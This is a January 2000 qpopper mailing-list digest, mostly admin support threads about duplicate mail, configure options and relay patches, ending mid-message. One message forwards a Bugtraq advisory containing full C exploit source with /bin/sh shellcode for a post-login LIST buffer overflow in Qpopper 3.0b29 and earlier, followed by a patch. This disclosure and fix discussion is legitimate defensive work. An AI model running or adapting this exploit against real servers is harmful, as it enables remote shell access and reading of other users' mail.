The qpopper list archive ending on 27 Jan 2000


Topics covered in this issue include:

  1. Re: Qpopper 3.0b30 available
       Joseph S D Yao <jsdy at cospo.osis dot gov>
       Wed, 26 Jan 2000 00:02:14 -0500
  2. Re: Qpopper 3.0b30 available
       SAKAI Kiyotaka <ksakai at kso.netwk.ntt-at.co dot jp>
       Wed, 26 Jan 2000 14:06:05 +0900 (JST)
  3. Re: Qpopper 3.0b30 available
       Balgansuren <balgaa at publica.ub.mng dot net>
       Wed, 26 Jan 2000 14:16:33 -0800 (GMT)
  4. Re: Qpopper 3.0b30 available
       "Oliver Fleischmann" <fleischmann.o at sebadyn dot de>
       Wed, 26 Jan 2000 08:07:16 +0100
  5. Qpopper 3.0b30
       Tan Tshun Kiat <tantk at cwc.nus.edu dot sg>
       Wed, 26 Jan 2000 18:15:07 +0800
  6. Re: Qpopper 3.0b30
       Reinhard Zierke <zierke at informatik.uni-hamburg dot de>
       Wed, 26 Jan 2000 12:27:27 +0100
  7. Re: Limiting POP3 conections...
       "James Nelson" <james at digit.bloomnet dot com>
       Wed, 26 Jan 2000 06:34:02 -0600
  8. Re: Qpopper 3.0b29 available
       Admin Mailing Lists <mlist at intergrafix dot net>
       Wed, 26 Jan 2000 09:27:28 -0500 (EST)
  9. qpopper 2.53
       Karyn McCambridge <karynm at afb dot net>
       Wed, 26 Jan 2000 10:40:53 -0500
 10. qpopper 2.53 again
       Karyn McCambridge <karynm at afb dot net>
       Wed, 26 Jan 2000 11:07:15 -0500
 11. DRAC (was "Re: Qpopper 3.0b30 available")
       Qpopper Support <qpopper at qualcomm dot com>
       Wed, 26 Jan 2000 09:47:45 -0800
 12. Re: Qpopper 3.0b29 available
       Qpopper Support <qpopper at qualcomm dot com>
       Wed, 26 Jan 2000 09:52:46 -0800
 13. Re: qpopper 2.53 again
       Randall Gellens <randy at qualcomm dot com>
       Wed, 26 Jan 2000 09:57:10 -0800
 14. duplicate emails
       Karyn McCambridge <karynm at afb dot net>
       Wed, 26 Jan 2000 13:38:14 -0500
 15. Futur of qpopper
       Martial rioux <martial.rioux at cgi dot ca>
       Wed, 26 Jan 2000 14:24:10 -0500
 16. Re: Qpopper 3.0b29 available
       rick pim <rick at post.queensu dot ca>
       Wed, 26 Jan 2000 15:20:48 -0500 (EST)
 17. Re: twinkies
       Joseph S D Yao <jsdy at cospo.osis dot gov>
       Wed, 26 Jan 2000 16:24:25 -0500
 18. Re: Futur of qpopper
       Fergal Daly <fergal at esatclear dot ie>
       Wed, 26 Jan 2000 22:04:12 +0000
 19. RE: Qpopper 3.0b29 available
       "John W. Keener" <jwk at utsi dot com>
       Wed, 26 Jan 2000 16:44:11 -0600
 20. -ERR POP EOF received
       Pablo Peluffo <ppeluffo at keynet.com dot uy>
       Wed, 26 Jan 2000 22:39:13 -0300
 21. Fwd: Qpopper security bug
       Alexander Kiselev <kav at sitek dot net>
       Thu, 27 Jan 2000 10:22:49 +0300
 22. Re: Qpopper 3.0b30 available
       Juergen Georgi <georgi at belwue dot de>
       Thu, 27 Jan 2000 09:25:38 +0100
 23. Re: Futur of qpopper
       Ragnar Kurm <ragnar at uninet dot ee>
       Thu, 27 Jan 2000 10:33:36 +0200 (EET)
 24. ERR SIGHUP or SIGPIPE flagged
       Julio Rilo <jlinux at asturnet dot es>
       Thu, 27 Jan 2000 11:48:19 +0100
 25. RE: ERR SIGHUP or SIGPIPE flagged
       Steven Fletcher <stevenf at shellnet.co dot uk>
       Thu, 27 Jan 2000 11:14:12 -0000
 26. Re: Fwd: Qpopper security bug
       Joseph S D Yao <jsdy at cospo.osis dot gov>
       Thu, 27 Jan 2000 09:12:40 -0500
 27. compiling b30 with bulldb option
       Sebastian Stark <stark at komcept dot de>
       Thu, 27 Jan 2000 15:23:24 +0100 (CET)
 28. Problems with duplicate email in qpopper.
       Ed Hagopian <spesh at webcombo dot net>
       Thu, 27 Jan 2000 10:07:34 -0600
 29. enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)
       rick pim <rick at post.queensu dot ca>
       Thu, 27 Jan 2000 12:03:37 -0500 (EST)
 30. RE: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)
       "John W. Keener" <jkeener at utsi dot com>
       Thu, 27 Jan 2000 11:18:37 -0600
 31. Max Users
       "Clemens Martin" <martin at arkaden dot net>
       Thu, 27 Jan 2000 18:52:30 -0000
 32. Re: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)
       Qpopper Support <qpopper at qualcomm dot com>
       Thu, 27 Jan 2000 10:24:06 -0800
 33. Re: Fwd: Qpopper security bug 
       "Dan Harkless" <dan-qpopper at dilvish.speed dot net>
       Thu, 27 Jan 2000 10:24:37 -0800
 34. Re: Max Users
       Sebastian Stark <stark at komcept dot de>
       Thu, 27 Jan 2000 20:05:04 +0100 (CET)
 35. Re: Max Users
       "Ed Hagopian" <spesh at webcombo dot net>
       Thu, 27 Jan 2000 13:44:37 -0600
 36. Re: web interface
       Joseph S D Yao <jsdy at cospo.osis dot gov>
       Thu, 27 Jan 2000 17:47:35 -0500
 37. Re: web interface
       Sys Admin <sysadmin at pharm.usyd.edu dot au>
       Fri, 28 Jan 2000 09:42:57 +1000
 38. Logging not showing IP address
       Frank Pineau <frank at pineaus dot com>
       Thu, 27 Jan 2000 19:21:37 -0500
 39. Re: Logging not showing IP address
       Frank Pineau <frank at pineaus dot com>
       Thu, 27 Jan 2000 19:56:29 -0500
 40. RE: web interface
       Matt Ashburn <matt at neocom dot net>
       Thu, 27 Jan 2000 19:53:27 -0500
 41. Re: Logging not showing IP address
       Phil V Savoie <Phil.Savoie at learnix dot ca>
       Thu, 27 Jan 2000 20:05:30 -0500
 42. RE: web interface
       Alan Brown <alan at manawatu.gen dot nz>
       Fri, 28 Jan 2000 14:59:36 +1300 (NZDT)
 43. Moving config files from one dir to another
       "Kenneth Porter" <shiva at well dot com>
       Thu, 27 Jan 2000 18:51:55 -0800
 44. Re: web interface
       "James Nelson" <james at digit.bloomnet dot com>
       Thu, 27 Jan 2000 21:45:59 -0600
 45. Qpopper 3.0b30 available
       Qpopper Support <qpopper at qualcomm dot com>
       Thu, 27 Jan 2000 19:52:47 -0800
 46. Qpopper 3.0b31 available
       Qpopper Support <qpopper at qualcomm dot com>
       Thu, 27 Jan 2000 20:02:25 -0800
 47. Re: Qpopper 3.0b30 available
       Sys Admin <sysadmin at pharm.usyd.edu dot au>
       Fri, 28 Jan 2000 14:08:25 +1000
 48. qpopper 3.0b30/31
       "Jim Baxter" <jim at atconnex dot net>
       Fri, 28 Jan 2000 00:18:28 -0500
 49. Re: Qpopper 3.0b31 available
       "Kenneth Porter" <shiva at well dot com>
       Thu, 27 Jan 2000 21:53:05 -0800
 50. Re: Problems with duplicate email in qpopper. 
       Didier Chalm <Didier.Chalm at shom dot fr>
       Fri, 28 Jan 2000 08:43:05 +0100

Date: Wed, 26 Jan 2000 00:02:14 -0500
From: Joseph S D Yao <jsdy at cospo.osis dot gov>
Subject: Re: Qpopper 3.0b30 available

On Wed, Jan 26, 2000 at 12:20:47PM -0800, Balgansuren wrote:
> Hello,
> 
> Could you add DRAC patch next beta release?
> 
> Best Regards
> Balgaa

What is this?  Thanks.

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Date: Wed, 26 Jan 2000 14:06:05 +0900 (JST)
Subject: Re: Qpopper 3.0b30 available
From: SAKAI Kiyotaka <ksakai at kso.netwk.ntt-at.co dot jp>

>> In article <168000934703388525052 at lists.pensive.org>, Balgansuren <balgaa at publica dot ub dot mng dot net> writes:

> We want to provide our subscribers Internet roaming access.
> And I found the DRAC site from mailing list.

> Do you know any other software?
 
Check the following URLs.

  drac      http://mail.cc.umanitoba.ca/drac/
  poprelay  http://www.cynic.net/~cjs/computer/sendmail/poprelay.html
  smPbS     http://spam.abuse.net/tools/smPbS.html
  NetSuck   http://www.netsuck.com/

Date: Wed, 26 Jan 2000 14:16:33 -0800 (GMT)
From: Balgansuren <balgaa at publica.ub.mng dot net>
Subject: Re: Qpopper 3.0b30 available

Hello,

DRAC mean Dynamic Relay Authorization Control

--Balgaa

On Wed, 26 Jan 2000, Joseph S D Yao wrote:

> On Wed, Jan 26, 2000 at 12:20:47PM -0800, Balgansuren wrote:
> > Hello,
> > 
> > Could you add DRAC patch next beta release?
> > 
> > Best Regards
> > Balgaa
> 
> What is this?  Thanks.
> 
> -- 
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> 


From: "Oliver Fleischmann" <fleischmann.o at sebadyn dot de>
Date: Wed, 26 Jan 2000 08:07:16 +0100
Subject: Re: Qpopper 3.0b30 available

Hi there,

> Hello,
> 
> Could you add DRAC patch next beta release?
> 
> Best Regards
> Balgaa

Perhaps it would be a good idea to include the drac-patches to the 
original qpopper distribution. This would prevent everybody from having 
to apply the patch with every new qpopper beta...

The drac path is quite small, so it would not blow up the size of 
qpopper very much.

Just my 2c.

Oliver


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Date: Wed, 26 Jan 2000 18:15:07 +0800
From: Tan Tshun Kiat <tantk at cwc.nus.edu dot sg>
Subject: Qpopper 3.0b30

Hi,
    I try running qpopper3.0b30 on Solaris 2.6 on Ultra30 machine. It
works fine initially but suddenly each user receives repeated mails. I
had no choice but to revert back to qpopper3.0b29. Did anyone had the
same problem?

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Date: Wed, 26 Jan 2000 12:27:27 +0100
From: Reinhard Zierke <zierke at informatik.uni-hamburg dot de>
Subject: Re: Qpopper 3.0b30

>     I try running qpopper3.0b30 on Solaris 2.6 on Ultra30 machine. It
> works fine initially but suddenly each user receives repeated mails. I
> had no choice but to revert back to qpopper3.0b29. Did anyone had the
> same problem?

I had the same problem when I switched from 3.0b28 to 3.0b29 last Sunday.
Everytime my users logged in, they got all the mails in their system
mailbox (on a Solaris 7 host) downloaded to their PC.  So I had to go
back to 3.0b28 ...

Reinhard

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From: "James Nelson" <james at digit.bloomnet dot com>
Subject: Re: Limiting POP3 conections...
Date: Wed, 26 Jan 2000 06:34:02 -0600

Alan is right that SSH is more secure,  but only provided the SASH is
restricted and does not contain any buffer overflow conditions which
could be exploited to obtain root on the system running
SSHD.............  (there have been several of them)


----- Original Message -----
From: "Alan Brown" <alan at manawatu.gen dot nz>
To: "Admin Mailing Lists" <mlist at intergrafix dot net>
Cc: "Marcelo J. Iturbe" <marcelo at msm dot cl>; "Subscribers of Qpopper"
<qpopper at lists.pensive dot org>
Sent: Tuesday, January 25, 2000 6:49 PM
Subject: Re: Limiting POP3 conections...


| On Tue, 25 Jan 2000, Admin Mailing Lists wrote:
|
| > assuming his remote users are coming from static ips.
| > if not, you'd need some sort of lookup table.
|
| Or use ssh tunnels - which are safer anyway.
|
| AB
|


Date: Wed, 26 Jan 2000 09:27:28 -0500 (EST)
From: Admin Mailing Lists <mlist at intergrafix dot net>
Subject: Re: Qpopper 3.0b29 available

> 
> On Sun, Jan 16, 2000 at 06:56:54PM -0800, Qpopper Support wrote:
> ...
> > Changes from 3.0b28 to 3.0b29
> > -----------------------------
> ...
> >   7.  .pop file (temporary spool) now created in hashed or home
> >       directory.  Qpopper checks for old .pop file in former
> >       location first.
> 
> Is it possible to configure for our choice of which, or for the former
> behaviour?
> 

I'd like this to happen too

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Date: Wed, 26 Jan 2000 10:40:53 -0500
From: Karyn McCambridge <karynm at afb dot net>
Subject: qpopper 2.53

I am having trouble with some users receiving duplicate emails. The size of
their mailboxes are between 4 - 8 MB. 
What should the timeout setting be in the config file?
Would this make a difference?



Date: Wed, 26 Jan 2000 11:07:15 -0500
From: Karyn McCambridge <karynm at afb dot net>
Subject: qpopper 2.53 again

I have a few questions...

1) How can I find out which options were used in configuring qpopper?

2) I have noticed a degrade of network performance which may have something
to do with qpopper 2.53, does enabling server mode increase server
performance or decrease it? 
Some users save their messages on the server and some delete them from the
server after 30 days. The user base is 150 pop users. Can someone shed some
light on this please?

3) I set the timeout in the inetd.conf file for pop3 to be 60 seconds. 


Date: Wed, 26 Jan 2000 09:47:45 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: DRAC (was "Re: Qpopper 3.0b30 available")

I don't think the DRAC patches were ever submitted to 
<qpopper at qualcomm dot com>.  If the patch author sends in the patch (or 
gives permission and a link), we'd be happy to take a look at 
including it.  Also, from a quick peek at it, I think it will need to 
be extended to work with APOP and SCRAM as well as USER/PASS.

Date: Wed, 26 Jan 2000 09:52:46 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: Qpopper 3.0b29 available

At 11:57 PM -0500 1/25/00, Joseph S D Yao wrote:

>  >   7.  .pop file (temporary spool) now created in hashed or home
>>        directory.  Qpopper checks for old .pop file in former
>>        location first.
>
>Is it possible to configure for our choice of which, or for the former
>behaviour?

Yes, this is configurable using the '--enable-temp-drop-dir=path' 
./configure option.  Note that the default is to put the .user.pop 
file in the same directory as the spool, which is the old behavior 
when HOMEDIRMAIL and HASH_SPOOL are not used (which are also 
defaults)  So by default, nothing has changed.

If you do enable HOMEDIRMAIL or HASH_SPOOL, and want the .user.pop 
files to go somewhere else, use '--enable-temp-drop-dir=path'.  Note 
that this may defeat the benefit of using HASH_SPOOL.

Date: Wed, 26 Jan 2000 09:57:10 -0800
From: Randall Gellens <randy at qualcomm dot com>
Subject: Re: qpopper 2.53 again

At 11:07 AM -0500 1/26/00, Karyn McCambridge wrote:

>I have a few questions...
>
>1) How can I find out which options were used in configuring qpopper?

There is no sure method, I'm afraid.  (It's something I'm thinking of 
adding, but a better long-term goal is to replace compile-time 
settings with run-time.)

>2) I have noticed a degrade of network performance which may have something
>to do with qpopper 2.53, does enabling server mode increase server
>performance or decrease it?

Server mode may greatly increase performance, depending on user 
behavior.  Server mode helps a lot when a user sessions ends and all 
messages are deleted, or none of them are (and no new ones have 
arrived during the session).  In other cases the performance is the 
same as without it.

>Some users save their messages on the server and some delete them from the
>server after 30 days. The user base is 150 pop users. Can someone shed some
>light on this please?

Sounds like server mode is a good idea for you.

>3) I set the timeout in the inetd.conf file for pop3 to be 60 seconds.

This may be too small, especially if users are dialed-up or otherwise 
connected over slow links.  You might try 180 or 300 seconds.


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Date: Wed, 26 Jan 2000 13:38:14 -0500
From: Karyn McCambridge <karynm at afb dot net>
Subject: duplicate emails

I am receiving duplicate emails ever since I upgraded qpopper to 2.53. It
is intermittent and is happening to more than one user. Thsi was not
happening before with an earlier version of qpopper.
Any ideas?




Date: Wed, 26 Jan 2000 14:24:10 -0500
From: Martial rioux <martial.rioux at cgi dot ca>
Subject: Futur of qpopper

Hi qpopper's users/devs,

Congratulation for your support and devlopement!!!!

I want to know what is futur devlopement for qpopper?
(new feature, doc, etc)

Do you plan to add LDAP or SQL authentification module in qpopper?
(to support large sites.)

Do you plan to use tcpserver instead of inetd (tcpwrapper)?

Tcpserver offers a concurrency limit to protect you from running out of
processes and memory. When you are handling 40 (by default) simultaneous
connections, tcpserver smoothly defers acceptance of new connections.
To know more about tcpserver (http://cr.yp.to/ucspi-tcp.html)?

It's possible to configure qpopper to handle many mail users (multiple
email addresses) with separate POP3 accounts - without using system
accounts (is very usefull for virtual domain implementation)?

Thanks.





Date: Wed, 26 Jan 2000 15:20:48 -0500 (EST)
From: rick pim <rick at post.queensu dot ca>
Subject: Re: Qpopper 3.0b29 available

> >  >   7.  .pop file (temporary spool) now created in hashed or home
> >>        directory.  Qpopper checks for old .pop file in former
> >>        location first.
> >
> >Is it possible to configure for our choice of which, or for the former
> >behaviour?
> 
> Yes, this is configurable using the '--enable-temp-drop-dir=path' 
> ./configure option.

  this is nice, in that we've been editing config.h manually to do
this for some time. this doesn't seem to be working as advertised in
v3.0b30. for example (solaris 5.6):

./configure --enable-temp-drop-dir=/var/spool/poptemp
 and along the way it says, amongst other things:

Will NOT compile in debugging code
Temporary drop files are in: /var/spool/poptemp
System name: SunOS; System version: 5.6

and i get:

# diff config.h config.h.vanilla
119c119
< #define POP_DROP_DIR "/var/spool/poptemp"
---
> #define POP_DROP_DIR "/usr/mail"

which looks okay. but when i do a build and put the binary in place,
the temp files are NOT going to /var/spool/poptemp: i got files
created in /var/mail. running strings on the popper binary doesn't
show the string "poptemp", and it did show in previous 3.0 betas.

so: what do i have to do to relocate the temp files under beta30?


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Date: Wed, 26 Jan 2000 16:24:25 -0500
From: Joseph S D Yao <jsdy at cospo.osis dot gov>
Subject: Re: twinkies

On Sun, Jan 16, 2000 at 05:05:19PM -0000, Steven Fletcher wrote:
> I belive that it's what Outlook sends when the "Use secure password
> authentication" box is checked within the account setup, and you haven't
> compiled Qpopper to use APOP, etc.
> 
> Don't ask me why they chose to use twinkie though ;-)

More overstuffed and junk-food-ey than a cookie?

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Date: Wed, 26 Jan 2000 22:04:12 +0000
From: Fergal Daly <fergal at esatclear dot ie>
Subject: Re: Futur of qpopper

At 14:24 26/01/00 -0500, Martial rioux wrote:
>Do you plan to use tcpserver instead of inetd (tcpwrapper)?
>
>Tcpserver offers a concurrency limit to protect you from running out of
>processes and memory. When you are handling 40 (by default) simultaneous
>connections, tcpserver smoothly defers acceptance of new connections.
>To know more about tcpserver (http://cr.yp.to/ucspi-tcp.html)?

qpopper doesn't use inetd, inetd is just the most common way to make
qpopper available to the internet. If someone replaced inetd with another
daemon doing pretty much the same thing (eg tcpserver) I think qpopper
wouldn't even know the difference. It's up to users to switch to tcspserver
if they want to.

>It's possible to configure qpopper to handle many mail users (multiple
>email addresses) with separate POP3 accounts - without using system
>accounts (is very usefull for virtual domain implementation)?

have a look at http://sendmail.jacked-in.org/ for unofficial early work on
this,

Fergal



From: "John W. Keener" <jwk at utsi dot com>
Subject: RE: Qpopper 3.0b29 available
Date: Wed, 26 Jan 2000 16:44:11 -0600

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I had no problem getting this to work with b30.  I did run into a problem
with b29 but that was because I had mistyped one of the flags and it was
silently ignored.  I suspect something similar happened here, or a module,
previously compiled without '--enable-temp-drop-dir=path' was not recompiled
once you added it.  You may wish to start from scratch and try it again.

Also, QPopper Support had said:
>If you do enable HOMEDIRMAIL or HASH_SPOOL, and want the .user.pop 
>files to go somewhere else, use '--enable-temp-drop-dir=path'.  Note 
>that this may defeat the benefit of using HASH_SPOOL.
I have found that with HASH_SPOOL set, the .pop temp files are still hashed,
rooted at the specified path.

Regards
John Keener

-----Original Message-----
From: rick pim [mailto:rick at post.queensu dot ca]
Sent: Wednesday, January 26, 2000 2:21 PM
To: qpopper at qualcomm dot com
Cc: qpopper at lists.pensive dot org
Subject: Re: Qpopper 3.0b29 available


> >  >   7.  .pop file (temporary spool) now created in hashed or home
> >>        directory.  Qpopper checks for old .pop file in former
> >>        location first.
> >
> >Is it possible to configure for our choice of which, or for the former
> >behaviour?
> 
> Yes, this is configurable using the '--enable-temp-drop-dir=path' 
> ./configure option.

  this is nice, in that we've been editing config.h manually to do
this for some time. this doesn't seem to be working as advertised in
v3.0b30. for example (solaris 5.6):

./configure --enable-temp-drop-dir=/var/spool/poptemp
 and along the way it says, amongst other things:

Will NOT compile in debugging code
Temporary drop files are in: /var/spool/poptemp
System name: SunOS; System version: 5.6

and i get:

# diff config.h config.h.vanilla
119c119
< #define POP_DROP_DIR "/var/spool/poptemp"
---
> #define POP_DROP_DIR "/usr/mail"

which looks okay. but when i do a build and put the binary in place,
the temp files are NOT going to /var/spool/poptemp: i got files
created in /var/mail. running strings on the popper binary doesn't
show the string "poptemp", and it did show in previous 3.0 betas.

so: what do i have to do to relocate the temp files under beta30?


rick pim                                           rick at post.queensu dot ca
information technology services                          (613) 533-2242
queen's university, kingston   
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Date: Wed, 26 Jan 2000 22:39:13 -0300
From: Pablo Peluffo <ppeluffo at keynet.com dot uy>
Subject: -ERR POP EOF received

Hello:
My mail server was working fine until one day decided log error messages
-ERR POP EOF received.
Some clients doesn't have such problem
Other have sometimes and other have a lot of times.
Nothing was changed in the server configuration.
The problem is such users can't download his mails.
Does anybody knows what means such error messages and know any way to
repair it.
Thanks.

Date: Thu, 27 Jan 2000 10:22:49 +0300
From: Alexander Kiselev <kav at sitek dot net>
Subject: Fwd: Qpopper security bug

Guys, take a look at that!
I didn't tested it yet, but i use 2.53 ...

Anyway, for information ...

-- 
Best regards,
Alexander                            


----------This is a forwarded message------------
From: Zhodiac <zhodiac at SOFTHOME dot NET>
To: BUGTRAQ at SECURITYFOCUS dot COM <BUGTRAQ at SECURITYFOCUS dot COM>
Date: Wednesday, January 26, 2000, 4:55:11 PM
Subject: Qpopper security bug

 !Hispahack Research Team
 http://hispahack.ccc.de

 Program: Qpopper <= 3.0beta29 (2.53 and olders are not vulnerable)
 Platform: *nix
 Risk: Remote access
 Author: Zhodiac <zhodiac at softhome dot net>
 Date: 20/1/2000


 - Problem:
 ===========

    The, nowadays, so common qpop pop3 server is one of the best server
 which implements some features added not in normal pop3d. Like almost all
 software it has some security bugs. In this case, once you pass the
 login process you can execute malicious code due to a buffer overflow.

    With this buffer overflow (second argument of the LIST command) you
 can execute malicious code with the uid of the user you logged in, and
 with gid mail. Due to have gid mail, in some systems you can read all the
 mail of other users and even change/delete it.


 - Exploit:
 ==========

     For proof of vulnerability we release the Linux x86 xploit. But be
 aware, no public xploit for your system does not mean you can't be
 hacked. Vulnerability exists, fix it!

------- qpop-xploit.c ----------

/*
 * !Hispahack Research Team
 * http://hispahack.ccc.de
 *
 * By Zhodiac <zhodiac at softhome dot net>
 *
 * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
 * Overflow at pop_list()->pop_msg()
 *
 * Tested: 3.0beta28  offset=0
 *         3.0beta26  offset=0
 *         3.0beta25  offset=0
 *
 * #include <standar/disclaimer.h>
 *
 * This code is dedicated to my love [CrAsH]] and to all the people who
 * were raided in Spain in the last few days.
 *
 * Madrid 10/1/2000
 *
 */

#include <stdio.h>

#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4

char shellcode[]=
 "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
 "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
 "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";


void usage(char *progname) {
 fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
 exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;

 fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
 fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac at softhome dot net>\n\n");

 if (argc<3) usage(argv[0]);

 if (argc==4) offset+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
 ptr+=sizeof(buffer)-strlen(shellcode)-16;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);
 long_ptr=(unsigned long*)ptr;
 for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
 ptr=(char *)long_ptr;
 *ptr='\0';

 fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
 fprintf(stderr,"Offset: 0x%lx\n\n",offset);

 printf("USER %s\n",argv[1]);
 sleep(1);
 printf("PASS %s\n",argv[2]);
 sleep(1);
 printf("LIST 1 %s\n",buffer);
 sleep(1);
 printf("uname -a; id\n");

 return(0);
}

------- qpop-xploit.c ---------


 - Fix:
 ======

   Best solution is to wait for a new patched version, meanwhile here you
 have a patch that will stop this attack (be aware that this patch was not
 done after a total revision of the code, maybe there are some other
 overflows).

------ pop_list.patch ---------

77c77
<               return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",
---
>               return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",

------ pop_list.patch ---------

 piscis:~# patch pop_list.c pop_list.patch
 piscis:~#

 Spain r0x

 Greets :)

 Zhodiac



Date: Thu, 27 Jan 2000 09:25:38 +0100
From: Juergen Georgi <georgi at belwue dot de>
Subject: Re: Qpopper 3.0b30 available

On Wed 2000-01-26 (14:06), SAKAI Kiyotaka wrote:
> >> In article <168000934703388525052 at lists.pensive.org>, Balgansuren <balgaa at publica dot ub dot mng dot net> writes:
> 
> > We want to provide our subscribers Internet roaming access.
> > And I found the DRAC site from mailing list.
> 
> > Do you know any other software?
>  
> Check the following URLs.
> 
>   drac      http://mail.cc.umanitoba.ca/drac/
>   poprelay  http://www.cynic.net/~cjs/computer/sendmail/poprelay.html
>   smPbS     http://spam.abuse.net/tools/smPbS.html
>   NetSuck   http://www.netsuck.com/

WHOSON    http://www.average.org/whoson/

which I prefer over DRAC

Date: Thu, 27 Jan 2000 10:33:36 +0200 (EET)
From: Ragnar Kurm <ragnar at uninet dot ee>
Subject: Re: Futur of qpopper

> Do you plan to add LDAP or SQL authentification module in qpopper?
> (to support large sites.)

i have a kind of ldap patch.. it is quite raw currently.. for further
details see http://www.uninet.ee/~ragnar/qpopper/

> It's possible to configure qpopper to handle many mail users (multiple
> email addresses) with separate POP3 accounts - without using system
> accounts (is very usefull for virtual domain implementation)?

see above.
i also need something for virtual hosts... typical case for isp :)


ragnar


Date: Thu, 27 Jan 2000 11:48:19 +0100
From: Julio Rilo <jlinux at asturnet dot es>
Subject: ERR SIGHUP or SIGPIPE flagged

Somebody know what's this error ?

    -ERR SIGHUP or SIGPIPE flagged
    -ERR POP hangup

and how can us resolve it ?



Thanks.





From: Steven Fletcher <stevenf at shellnet.co dot uk>
Subject: RE: ERR SIGHUP or SIGPIPE flagged
Date: Thu, 27 Jan 2000 11:14:12 -0000

Your POP3 client timed out. Check the logfiles on your server to see what's
causing this.

Steven Fletcher
stevenf at shellnet.co dot uk

> -----Original Message-----
> From: Julio Rilo [mailto:jlinux at asturnet dot es]
> Sent: 27 January 2000 10:48
> To: qpopper at lists.pensive dot org; jrilo at asturnet dot es
> Subject: ERR SIGHUP or SIGPIPE flagged
>
>
> Somebody know what's this error ?
>
>     -ERR SIGHUP or SIGPIPE flagged
>     -ERR POP hangup
>
> and how can us resolve it ?
>
>
>
> Thanks.
>
>
>
>
>


Date: Thu, 27 Jan 2000 09:12:40 -0500
From: Joseph S D Yao <jsdy at cospo.osis dot gov>
Subject: Re: Fwd: Qpopper security bug

On Thu, Jan 27, 2000 at 10:22:49AM +0300, Alexander Kiselev wrote:
> Guys, take a look at that!
> I didn't tested it yet, but i use 2.53 ...
> 
> Anyway, for information ...
> 
> -- 
> Best regards,
> Alexander                            

If you are concerned about buffer overflows, why are you still using
2.53?  ;-)

D'ya'think this could be one of the reasons that b30 was released so
quickly?  ;-)

The announcement read, in part:

> Changes from 3.0b29 to 3.0b30
> -----------------------------
...
>   7.  Fixed buffer overflow in LIST command.
...
> Note that this fixes a buffer overrun in the LIST command.  It's 
> important to note that, while all buffer overflows are serious (and 
> this bug was marked priority "A"), this overflow one was after 
> authentication, which means (1) no root access, (2) a valid 
> username/password is required, (3) the username and IP address are 
> logged, and (4) the risk of access to other's mail is normally small. 
> Also note that pop_msg, pop_log, and loggit have been changed to use 
> snprintf() to avoid future overruns.  In addition, extra internal 
> test programs have tested all commands which take parameters and 
> checked each parameter for potential buffer overruns.

-- 
Joe Yao				jsdy at cospo.osis dot gov - Joseph S. D. Yao
COSPO/OSIS Computer Support					EMT-B
-----------------------------------------------------------------------
This message is not an official statement of COSPO policies.

Date: Thu, 27 Jan 2000 15:23:24 +0100 (CET)
From: Sebastian Stark <stark at komcept dot de>
Subject: compiling b30 with bulldb option

i configured with the following options:
why does qpopper not compile with these settings?
if i don't specify the --enable-bulldb option, it works...

battlecruiser:/usr/src/qpopper/qpopper3.0b30# ./configure
--enable-bulletins=/var/spool/bulletins --enable-log-login
--with-new-bulls=5 --enable-shy  --enable-bulldb=/var/spool/popbull/

[snip]

battlecruiser:/usr/src/qpopper/qpopper3.0b30# make
cd ./popper  && make all
make[1]: Entering directory `/usr/src/qpopper/qpopper3.0b30/popper'
gcc -c -I.. -I.. -I. -I../mmangle -I../common \
-g  -fpcc-struct-return  -DHAVE_CONFIG_H  -DLINUX -DUNIX pop_init.c -o
pop_init.o
pop_init.c: In function `pop_init':
pop_init.c:316: `MAXHOSTNAMELEN' undeclared (first use this function)
pop_init.c:316: (Each undeclared identifier is reported only once
pop_init.c:316: for each function it appears in.)
make[1]: *** [pop_init.o] Error 1
make[1]: Leaving directory `/usr/src/qpopper/qpopper3.0b30/popper'
make: *** [popper_server] Error 2
battlecruiser:/usr/src/qpopper/qpopper3.0b30# 


thanks,
sebastian


Date: Thu, 27 Jan 2000 10:07:34 -0600
From: Ed Hagopian <spesh at webcombo dot net>
Subject: Problems with duplicate email in qpopper.

I'm running qpopper (the latest stable release) on a clustered system
over NFS (I know, naughty...) up until now it' has been fine, however,
now everytime I go to get my mail, I get all the messages, and it seems
to not notice if I've read the message or not.. the only solution thus
far has been to delete the message off the server after downloading it
which I would prefer not to have to tell all my customers to do that..

Why would this occur? What would be the best resolution?

Thanks for any help you can provide.

Ed Hagopian
edh at webcombo dot net
Senior System Admin - Webcombo.net


Date: Thu, 27 Jan 2000 12:03:37 -0500 (EST)
From: rick pim <rick at post.queensu dot ca>
Subject: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)

yesterday i posted a problem getting the --enable-temp-drop-dir
option on v3b30 working. john keener said:

> I had no problem getting this to work with b30.

> I suspect something similar happened here, or a module,
> previously compiled without '--enable-temp-drop-dir=path' was not recompiled
> once you added it.  You may wish to start from scratch and try it again.

yesterday's attempt was taken after a "make realclean", but today i
started from scratch: i unpacked the tar file and did (solaris 5.6,
gcc 2.8.1):

./configure --enable-temp-drop-dir=/var/spool/poptemp
make

config.h had the following in it:
 /* Define for the temporary mail drop directory */
 #define POP_DROP_DIR "/var/spool/poptemp"

 /* Define for the temporary mail drop file name */
 #define POP_DROP ".%s.pop"

so it _looked_ okay, but it did yesterday. i put the popper binary
